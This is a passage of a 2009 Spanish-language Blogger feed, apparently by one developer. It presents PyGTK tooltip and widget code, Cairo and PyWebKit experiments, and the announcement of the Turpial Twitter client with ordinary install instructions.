self.scrollwin.get_property('hadjustment').value&lt;br /&gt;        z = self.scrollwin.get_property('vadjustment').value&lt;br /&gt;        &lt;br /&gt;        # Ubicamos la ruta del elemento según la posición 'exácta' del cursor&lt;br /&gt;        # sobre el IconView&lt;br /&gt;        path = widget.get_path_at_pos(int(x + w), int(y + z))&lt;br /&gt;        if path is None: return False&lt;br /&gt;        &lt;br /&gt;        model = widget.get_model()&lt;br /&gt;        &lt;br /&gt;        # Obtenemos el elemento mediante el modelo y la ruta&lt;br /&gt;        iter = model.get_iter(path)&lt;br /&gt;        &lt;br /&gt;        # Obtenemos la imagen y la descripción guardada en el modelo&lt;br /&gt;        pix = model.get_value(iter, 0)&lt;br /&gt;        desc = model.get_value(iter, 1)&lt;br /&gt;        # Establecemos la imagen del tooltip&lt;br /&gt;        tooltip.set_icon(pix)&lt;br /&gt;        # Establecemos el texto del tooltip (con soporte para marcado pango :D)&lt;br /&gt;        tooltip.set_markup(desc)&lt;br /&gt;        # Borramos la imagen para no dejar basura regada&lt;br /&gt;        del pix&lt;br /&gt;        &lt;br /&gt;        # Devolvemos True para que se muestre el Tooltip y seamos felices weee!&lt;br /&gt;        return True&lt;br /&gt;        &lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;    PruebaTooltip()&lt;br /&gt;    gtk.main()&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Al final veremos algo así:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SxhVJ4rVv3I/AAAAAAAAAQ0/LMB84oYBNlM/s1600-h/iconview-tooltip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SxhVJ4rVv3I/AAAAAAAAAQ0/LMB84oYBNlM/s320/iconview-tooltip.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Pues sí, eso es todo... una simple suma. Lo que me reventó el coco fue saber de donde diablos sacar los valores de W y Z (los offset). Espero que hayan podido leer este post antes de pensar en implementar los Tooltips a la Old-Fashion Way e incluso antes de pensar en el suicidio xD.&lt;br /&gt;&lt;br /&gt;Cambio y fuera&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5428248906831226703?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5428248906831226703/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5428248906831226703&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5428248906831226703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5428248906831226703'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/12/tooltip-en-pygtk-para-un-iconview.html' title='Tooltip en PyGTK para un IconView (insertado en un ScrolledWindow)'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/SxhO-gtyWPI/AAAAAAAAAQs/0J3UsUWi630/s72-c/iconview-tooltip-pygtk.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5807704859023007725</id><published>2009-11-18T19:41:00.000-08:00</published><updated>2010-01-11T20:02:03.595-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Turpial: Un cliente Twitter para GNU/Linux con todos los hierros</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s1600/turpial.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s320/turpial.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/turpial"&gt;Turpial&lt;/a&gt; es un cliente Twitter multi-interfaz escrito en Python que he estado desarrollando con el pana Eleazar Meza, orientado a ser una alternativa a los clientes Twitter más populares para GNU/Linux (aunque por su naturaleza también puede correr bajo otras plataformas). &lt;br /&gt;&lt;br /&gt;La idea surgió hace poco más de 2 semanas y no son solo ganas de reinventar la rueda (considerando que DestroyTwitter, TweetDeck et al. están disponibles para Linux), sino que se quiere lograr un cliente que también corra en entornos de escritorio ligeros como Fluxbox, OpenBox, etc (pensando en las netbooks), ya que Adobe Air &lt;b&gt;solo&lt;/b&gt; corre en KDE/GNOME y la mayoría de los cliente basados en GTK son soluciones &lt;strike&gt;asquerosamente simples&lt;/strike&gt; que carecen de una gran cantidad de funciones.&lt;br /&gt;&lt;br /&gt;Su nombre proviene del ave nacional de Venezuela (el &lt;a href="http://es.wikipedia.org/wiki/Icterus_icterus"&gt;turpial&lt;/a&gt;) y está inspirado principalmente por la sencillez y la funcionalidad de DestroyTwitter pero con el objetivo de tener varias interfaces: una interfaz en línea de comandos, una GTK pura y una más innovadora y bleeding-edge usando diferentes recursos y tecnologías como Cairo y Webkit, entre otras.&lt;br /&gt;&lt;br /&gt;Actualmente Turpial se encuentra en estado de desarrollo intenso, por lo que pueden presentarse errores y fallos inesperados. Sin embargo, se invita a &lt;strike&gt;los valientes y verdaderos geeks&lt;/strike&gt; la comunidad en general a que prueben Turpial y si detectan algún fallo lo reporten a cualquiera de las siguientes direcciones: &lt;br /&gt;&lt;br /&gt;wil.alejandro at gmail.com &lt; Wil Alvarez &gt;&lt;br /&gt;meza.eleazar at gmail.com &lt; Eleazar Meza &gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Características&lt;/h2&gt;Turpial ya cuenta con soporte para las siguientes funciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ver tweets del timeline, menciones y favoritos&lt;/li&gt;&lt;li&gt;Ver y enviar mensajes directos&lt;/li&gt;&lt;li&gt;Actualizar estado (tuitear)&lt;/li&gt;&lt;li&gt;Ver following y followers&lt;/li&gt;&lt;li&gt;Buscar personas&lt;/li&gt;&lt;li&gt;Hacer follow o unfollow a cualquier usuario&lt;/li&gt;&lt;li&gt;Mostrar trending topics&lt;/li&gt;&lt;li&gt;Hacer mute/unmute a cualquier usuario&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Quedan pendientes para las próximas actualizaciones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ver tweets sobre un tópico o un hashtag seleccionado&lt;/li&gt;&lt;li&gt;Cortar URLs y subir imágenes (con soporte para agregar diferentes servicios)&lt;/li&gt;&lt;li&gt;Agrupar tweets como conversaciones&lt;/li&gt;&lt;li&gt;Mostrar listas a las que el usuario pertenece y los tweets correspondientes a cada lista&lt;/li&gt;&lt;li&gt;Guardar las preferencias del usuario &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;Requisitos&lt;/h2&gt;&lt;br /&gt;Turpial necesita los siguientes paquetes para funcionar correctamente:&lt;br /&gt;&lt;br /&gt;* python &gt;= 2.5&lt;br /&gt;* python-simplejson &gt;= 2.0.x&lt;br /&gt;&lt;br /&gt;Una instalación estándar de Python (como la que viene en la mayoría de las distribuciones GNU/Linux) es más que suficiente. El módulo de python para simplejson se puede instalar en las distribuciones basadas en Debian con el siguiente comando (como superusuario):&lt;br /&gt;&lt;br /&gt;&lt;code&gt; # aptitude install python-simplejson &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;¿Cómo diablos ejecuto Turpial?&lt;/h2&gt;&lt;br /&gt;Muy fácil. Para ejecutar Turpial en un ambiente GNU/Linux basta con descargar el siguiente &lt;a href="http://turpial.googlecode.com/files/turpial-0.6.tar.gz"&gt;archivo&lt;/a&gt;, descomprimirlo y en la carpeta &lt;b&gt;turpial&lt;/b&gt; ubicar el archivo turpial.py, otorgarle permisos de ejecución y ejecutarlo (como usuario regular):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ chmod +x turpial.py&lt;br /&gt;$ ./turpial.py&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Al momento de esta publicación la única interfaz disponible para Turpial es la &lt;strike&gt;elitista, l33t, unix-like y hardcore&lt;/strike&gt; de línea de comandos. Basta con escribir "help" en la consola para obtener una lista de comandos disponibles o "help &amp;lt;comando&amp;gt;" para una ayuda detallada para el comando seleccionado.&lt;br /&gt;&lt;br /&gt;Comentarios, sugerencias, reportes de bugs y cualquier otra información &lt;strike&gt;que pueda alimentar nuestro ego&lt;/strike&gt; será bienvenida.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5807704859023007725?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5807704859023007725/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5807704859023007725&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5807704859023007725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5807704859023007725'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/11/turpial-un-cliente-twitter-para.html' title='Turpial: Un cliente Twitter para GNU/Linux con todos los hierros'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s72-c/turpial.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-315401830980290910</id><published>2009-11-08T05:58:00.000-08:00</published><updated>2009-11-08T05:59:49.244-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Una API de Twitter para Python simplemente hermosa</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Mi proyecto &lt;a href="http://code.google.com/p/turpial/"&gt;Turpial&lt;/a&gt; requiere una API de Twitter para Python y los que me conocen saben que siempre me inclino por las cosas simples y minimalistas. En la búsqueda de la API adecuada me conseguí con esta joya de Mike Verdone: &lt;a href="http://mike.verdone.ca/twitter/"&gt;Python Twitter Tools&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Esta API no es tan conocida como por ejemplo &lt;a href="http://code.google.com/p/python-twitter/"&gt;python-twitter&lt;/a&gt; de DeWitt Clinton, pero sin duda alguna es hermosa. En poco más de 125 líneas implementa toda la funcionalidad de Twitter y además incluye un set de herramientas para probar la API desde una consola; así como también un bot IRC.&lt;br /&gt;&lt;br /&gt;Me impresiona la simplicidad de esta API y lo bien elaborada que está. Implementa todo con una clase de un solo método que maneja todo. Es una excelente librería que se ha ganado mi respeto y admiración y por es la he elegido como API para Turpial xD. &lt;br /&gt;&lt;br /&gt;Cualquier otra cosa que diga, estará de más. Su belleza se puede apreciar viendo su código y probándola. Recomendada 200%&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-315401830980290910?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/315401830980290910/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=315401830980290910&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/315401830980290910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/315401830980290910'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/11/una-api-de-twitter-para-python.html' title='Una API de Twitter para Python simplemente hermosa'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6681423028616568400</id><published>2009-10-22T20:03:00.000-07:00</published><updated>2009-10-22T20:44:01.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cairo'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Cairo, PyWebKit y PyGTK: Semana de Pruebas</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Esta ha sido una semana de pruebas, pruebas y más pruebas. Estoy trabajando en eso de mejorar las interfaces en PyGTK y pretendo apoyarme en Cairo y WebKit. He investigado un poco de ambos; los resultados han sido alentadores.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Primera prueba de la semana: Cairo&lt;/h2&gt;&lt;a href="http://en.wikipedia.org/wiki/Cairo_%28graphics%29"&gt;Cairo&lt;/a&gt; es una librería que permite dibujar sobre un widget (canvas o lienzo). Y cuando digo dibujar, me refiero a &lt;strong&gt;dibujar&lt;/strong&gt;. Trazar líneas, rectángulos, arcos y cosas por el estilo.&lt;br /&gt;&lt;br /&gt;Lo primero que se me ocurrió hacer para probar Cairo fue un medidor. Para esto solo me haría falta un slider vertical y el canvas para dibujar. La idea es que el medidor se llene o se vacíe según el deslizamiento de la barra.&lt;br /&gt;&lt;br /&gt;El código del medidor quedó así (se explica con los comentarios):&lt;br /&gt;&lt;pre class="brush: py"&gt;&lt;code&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;# Ejemplo de widget con Cairo&lt;br /&gt;#&lt;br /&gt;# Author: Wil Alvarez (aka Satanas)&lt;br /&gt;# Oct 19, 2009&lt;br /&gt;&lt;br /&gt;import gtk&lt;br /&gt;import cairo&lt;br /&gt;&lt;br /&gt;# Creamos una clase que herede de gtk.DrawingArea para usarla como canvas&lt;br /&gt;class Cpu(gtk.DrawingArea):&lt;br /&gt;    def __init__(self, parent):&lt;br /&gt;        self.par = parent&lt;br /&gt;        gtk.DrawingArea.__init__(self)&lt;br /&gt;        # Nos conectamos al evento expose, pues allí es donde ocurre toda &lt;br /&gt;        # la diversión&lt;br /&gt;        self.connect('expose-event', self.expose)&lt;br /&gt;        self.set_size_request(130, 200)&lt;br /&gt;    &lt;br /&gt;    # Este evento se ejecuta cada vez que la aplicación necesita redibujarse&lt;br /&gt;    # o cuando cambiamos un valor y mandamos a redibujarla. Aquí se pintará&lt;br /&gt;    # y se le dará forma al widget&lt;br /&gt;    def expose(self, widget, event):&lt;br /&gt;        # Aquí obtenemos el contexto de cairo&lt;br /&gt;        cr = widget.window.cairo_create()&lt;br /&gt;        cr.set_line_width(0.8)&lt;br /&gt;        &lt;br /&gt;        # Definimos un rectángulo para limitar el proceso de dibujado y así&lt;br /&gt;        # optimizar la operación&lt;br /&gt;        cr.rectangle(event.area.x, event.area.y, &lt;br /&gt;            event.area.width, event.area.height)&lt;br /&gt;        cr.clip()&lt;br /&gt;        &lt;br /&gt;        cr.rectangle(0,0,130,200)&lt;br /&gt;        cr.set_source_rgb(0, 0, 0)  # Establecemos el color de la brocha/pincel&lt;br /&gt;        cr.fill()&lt;br /&gt;        &lt;br /&gt;        # Obtenemos el valor actual del slider&lt;br /&gt;        x = (self.par.cur_value * 34) / 100&lt;br /&gt;        &lt;br /&gt;        # Dibujamos 34 barritas para el medidor y según el valor de 'x'&lt;br /&gt;        # decidimos si está 'encendida' o no&lt;br /&gt;        for i in range(34):&lt;br /&gt;            if (i &lt; 34 - x):&lt;br /&gt;                cr.set_source_rgb(0.53, 0, 0)&lt;br /&gt;            else:&lt;br /&gt;                cr.set_source_rgb(1, 0, 0)&lt;br /&gt;            &lt;br /&gt;            h = 15 + (i*5)&lt;br /&gt;            cr.rectangle(15,h,49,4)&lt;br /&gt;            cr.fill()&lt;br /&gt;            &lt;br /&gt;            cr.rectangle(67,h,49,4)&lt;br /&gt;            cr.fill()&lt;br /&gt;&lt;br /&gt;# Creamos una ventana sencilla en PyGTK con el slider y el canvas&lt;br /&gt;class PyApp(gtk.Window):&lt;br /&gt;    def __init__(self):&lt;br /&gt;        gtk.Window.__init__(self)&lt;br /&gt;        &lt;br /&gt;        self.set_title('CPU Meter')&lt;br /&gt;        self.set_size_request(200, 200)&lt;br /&gt;        self.set_position(gtk.WIN_POS_CENTER)&lt;br /&gt;        self.connect('destroy', gtk.main_quit)&lt;br /&gt;&lt;br /&gt;        self.cur_value = 10&lt;br /&gt;       &lt;br /&gt;        vbox = gtk.VBox(False, 2)&lt;br /&gt;        &lt;br /&gt;        scale = gtk.VScale()&lt;br /&gt;        scale.set_range(0, 100)&lt;br /&gt;        scale.set_digits(0)&lt;br /&gt;        scale.set_size_request(35, 160)&lt;br /&gt;        scale.set_value(self.cur_value)&lt;br /&gt;        scale.set_inverted(True)&lt;br /&gt;        scale.connect('value-changed', self.on_changed)&lt;br /&gt;        &lt;br /&gt;        self.cpu = Cpu(self)&lt;br /&gt;        &lt;br /&gt;        hbox = gtk.HBox(False)&lt;br /&gt;        hbox.pack_start(self.cpu)&lt;br /&gt;        hbox.pack_start(scale)&lt;br /&gt;        &lt;br /&gt;        vbox.pack_start(hbox, True, True, 2)&lt;br /&gt;&lt;br /&gt;        self.add(vbox)&lt;br /&gt;        self.show_all()&lt;br /&gt;        &lt;br /&gt;    # Programamos el evento 'value-changed' de la barra para que con cada&lt;br /&gt;    # cambio mande a redibujar al widget del medidor&lt;br /&gt;    def on_changed(self, widget):&lt;br /&gt;        self.cur_value = widget.get_value()&lt;br /&gt;        self.cpu.queue_draw()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    def get_cur_value(self):&lt;br /&gt;        return self.cur_value&lt;br /&gt;&lt;br /&gt;PyApp()&lt;br /&gt;gtk.main()&lt;/code&gt;&lt;/pre&gt;Al final la aplicación quedó así:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SuD_FnQvUBI/AAAAAAAAAQM/WL5MDjee0n0/s1600-h/cpumeter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SuD_FnQvUBI/AAAAAAAAAQM/WL5MDjee0n0/s320/cpumeter.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bastante aceptable para mi gusto. El código pueden descargarlo &lt;a href="http://wil.alejandro.googlepages.com/cpumeter.py"&gt;aquí &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Segunda prueba de la semana: PyWebKit&lt;/h2&gt;La segunda prueba fue con &lt;a href="http://code.google.com/p/pywebkitgtk/"&gt;PyWebKit&lt;/a&gt;. Esta prueba me ha frustrado un poco por la dificultad de conseguir documentación o referencias sobre la API de PyWebKit. Fue una labor árdua. Tuve que descargar varios códigos fuentes; entre ellos el de &lt;a href="https://launchpad.net/gwibber"&gt;Gwibber&lt;/a&gt; (cliente de Twitter) y hasta el del mismísimo &lt;a href="http://code.google.com/p/pywebkitgtk/"&gt;PyWebKit&lt;/a&gt; para lograr acercame a algo vagamente funcional. &lt;br /&gt;&lt;br /&gt;El único ejemplo que traía PyWebKit era el de un navegador que soporta pestañas y otro centenar de características, por lo que no era para nada sencillo comprender su código (¿a quién se le ocurriría poner ese ejemplo? BIG FAIL! Es solo un demo, ¡rayos!... No el próximo Firefox, Opera o Safari). &lt;br /&gt;&lt;br /&gt;El código de gwibber era de lejos más comprensible, aunque no menos complejo (se lo justifico por ser una aplicación de verdad no un ejemplo). Después de mucho leer, digerir implementaciones de controles GTK, fumarme unas cuantas lumpias y otros esoterismos, pude dar con el método que permite insertar código HTML directamente sobre el widget... el famoso &lt;strong&gt;load_string&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;La cuestión con PyWebKit es relativamente simple, porque después que dominamos el load_string lo demás es carpintería HTML y CSS.&lt;br /&gt;&lt;br /&gt;El código de la prueba a continuación:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: py"&gt;&lt;code&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;# Ejemplo de widget con WebKit&lt;br /&gt;#&lt;br /&gt;# Author: Wil Alvarez (aka Satanas)&lt;br /&gt;# Oct 20, 2009&lt;br /&gt;&lt;br /&gt;import gtk&lt;br /&gt;import webkit&lt;br /&gt;import gobject&lt;br /&gt;gobject.threads_init()&lt;br /&gt;&lt;br /&gt;# Codigo HTML que insertaremos al control para que lo muestre&lt;br /&gt;ABOUT_PAGE = """&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;PyWebKitGtk&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Mi primera prueba con PyWebKit&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;a href="http://code.google.com/p/pywebkitgtk/"&amp;gt;http://code.google.com/p/pywebkitgtk/&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;div style="border: 1px solid #000; width:300px; height: 100px; background-color:#aaa;"&amp;gt;&lt;br /&gt;  zOMG! This is fucking awesome&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;  No se que m&amp;aacute;s poner en este div con estilos css  XDDD&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;"""&lt;br /&gt;&lt;br /&gt;# Clase donde sobreecribimos el widget WebView de WebKit para implementar&lt;br /&gt;# nuestro código y hacer uso del load_string para inyectar HTML directamente&lt;br /&gt;# sobre el control (sin usar URI o algo similar)&lt;br /&gt;class MessageStreamView(webkit.WebView):&lt;br /&gt;    def __init__(self):&lt;br /&gt;        webkit.WebView.__init__(self)&lt;br /&gt;        self.connect("navigation-requested", self.on_click_link)&lt;br /&gt;        &lt;br /&gt;        self.settings = webkit.WebSettings()&lt;br /&gt;        self.set_settings(self.settings)&lt;br /&gt;        &lt;br /&gt;        # Recibe como parámetros el código HTML, el mime-type de la página,&lt;br /&gt;        # la codificación y un URI&lt;br /&gt;        self.load_string(ABOUT_PAGE, "text/html", "iso-8859-15", "about")&lt;br /&gt;        &lt;br /&gt;    def on_click_link(self, view, frame, req):&lt;br /&gt;        uri = req.get_uri()&lt;br /&gt;        print uri&lt;br /&gt;        return True&lt;br /&gt;&lt;br /&gt;# Creamos una ventana simple en PyGTK con el control que acabamos de crear y &lt;br /&gt;# voilá! Tenemos nuestro widget que renderiza páginas web con el motor WebKit&lt;br /&gt;class Simulador(gtk.Window):&lt;br /&gt;    def __init__(self):&lt;br /&gt;        gtk.Window.__init__(self)&lt;br /&gt;        self.set_title('Pruebas de Gwibber, Webkit y otras shits')&lt;br /&gt;        self.set_default_size(400, 400)&lt;br /&gt;        self.set_position(gtk.WIN_POS_CENTER)&lt;br /&gt;        self.connect('destroy', gtk.main_quit)&lt;br /&gt;        &lt;br /&gt;        messages = MessageStreamView()&lt;br /&gt;        &lt;br /&gt;        vbox = gtk.VBox(False, 5)&lt;br /&gt;        vbox.pack_start(messages, True, True, 0)&lt;br /&gt;        &lt;br /&gt;        self.add(vbox)&lt;br /&gt;        self.show_all()&lt;br /&gt;    &lt;br /&gt;Simulador()&lt;br /&gt;gtk.main()&lt;/code&gt;&lt;/pre&gt;La ventana luce así:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SuEU2qA3iwI/AAAAAAAAAQc/_3cHFCgYHxc/s1600-h/Pantallazo-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SuEU2qA3iwI/AAAAAAAAAQc/_3cHFCgYHxc/s320/Pantallazo-1.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Y el código pueden descargarlo &lt;a href="http://wil.alejandro.googlepages.com/gwibber_ui_test.py"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Aún no estoy muy satisfecho con la información que tengo de PyWebKit, lo mejor que he conseguido es una &lt;a href="http://trac.webkit.org/attachment/wiki/HackingGtk/webkit.api"&gt;lista&lt;/a&gt; con los nombres de los métodos de la API y más nada, así que seguiré buscando.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Conslusiones&lt;/h2&gt;Cada librería tiene un ámbito diferente, por lo que la idea no es establecer una comparación uno a uno entre ellas, sino destacar los pro y los contra para forjar una idea de hasta donde podemos llegar con ellas.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;PyWebKit&lt;/h3&gt;La mayor desventaja de PyWebKit es la &lt;strong&gt;falta de documentación&lt;/strong&gt;. No me importaría tener una documentación vulgar, chapucera y hasta con errores ortográficos, con tal de al menos tener una! Sin embargo, para compensar eso podemos decir que PyWebKit nos otorga todo el poder y la flexibilidad de un motor de renderizado como WebKit. El límite lo pone nuestro manejo de HTML/CSS y el nivel de implementación de PyWebKit.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Cairo&lt;/h3&gt;Cairo tampoco tiene documentación ofical (o no la he encontrado aún) pero al menos hay unos cuantos tutoriales en la red que te dan luces acerca de su funcionamiento y sus métodos básicos. La principal ventaja de Cairo es que nos da la oportunidad de ser artistas sobre un widget xD, incluso creo que se puede usar OpenGL para acelerar el renderizado y aplicar efectos 3D... así que el límite lo pone nuestra imaginación. Pero como diría el abuelo de Peter Parker: &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Un gran poder trae consigo una gran responsabilidad&lt;/blockquote&gt;&lt;br /&gt;Y esto es porque Cairo se utiliza en controles GTK que hacen las veces de lienzo; podemos imaginarlo como un control más de GTK pero que podemos dibujar a nuestro antojo. Esto trae una consecuencia, pensar en una aplicación desarrollada completamente con Cairo requiere una inversión de trabajo enorme (y quizás injustificada e innecesaria) pues Cairo como tal no tiene &lt;em&gt;widgets&lt;/em&gt;, así que nos tocaría implementar desde cero cada control que queramos utilizar; entiéndase cajas de texto, etiquetas, botones y ni hablar de las listas y elementos con scroll... sería una verdadera pesadilla.&lt;br /&gt;&lt;br /&gt;Ambas librerías tienen un enorme potencial, cada una en su ámbito y creo que la fórmula ganadora está en una buena combinación de ambas. Ni más ni menos.&lt;br /&gt;&lt;br /&gt;Para la próxima entrega postearé las segundas pruebas con Cairo y las pruebas con DBus y el sistema de notificaciones de Ubuntu, NotifyOSD.&lt;br /&gt;&lt;br /&gt;Referencias&lt;br /&gt;[1] http://www.zetcode.com/tutorials/pygtktutorial/customwidget/&lt;br /&gt;[2] http://zetcode.com/tutorials/cairographicstutorial/customgtkwidget/&lt;br /&gt;[3] http://www.pygtk.org/articles/cairo-pygtk-widgets/cairo-pygtk-widgets.htm&lt;br /&gt;[4] http://www.tortall.net/mu/wiki/CairoTutorial&lt;br /&gt;[5] http://jackvalmadre.wordpress.com/2008/09/21/resizable-image-control/&lt;br /&gt;[6] http://www.pygtk.org/articles/cairo-pygtk-widget-signals-es/cairo-pygtk-widget-signals.html&lt;br /&gt;[7] http://trac.webkit.org/attachment/wiki/HackingGtk/webkit.api&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6681423028616568400?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6681423028616568400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6681423028616568400&amp;isPopup=true' title='0 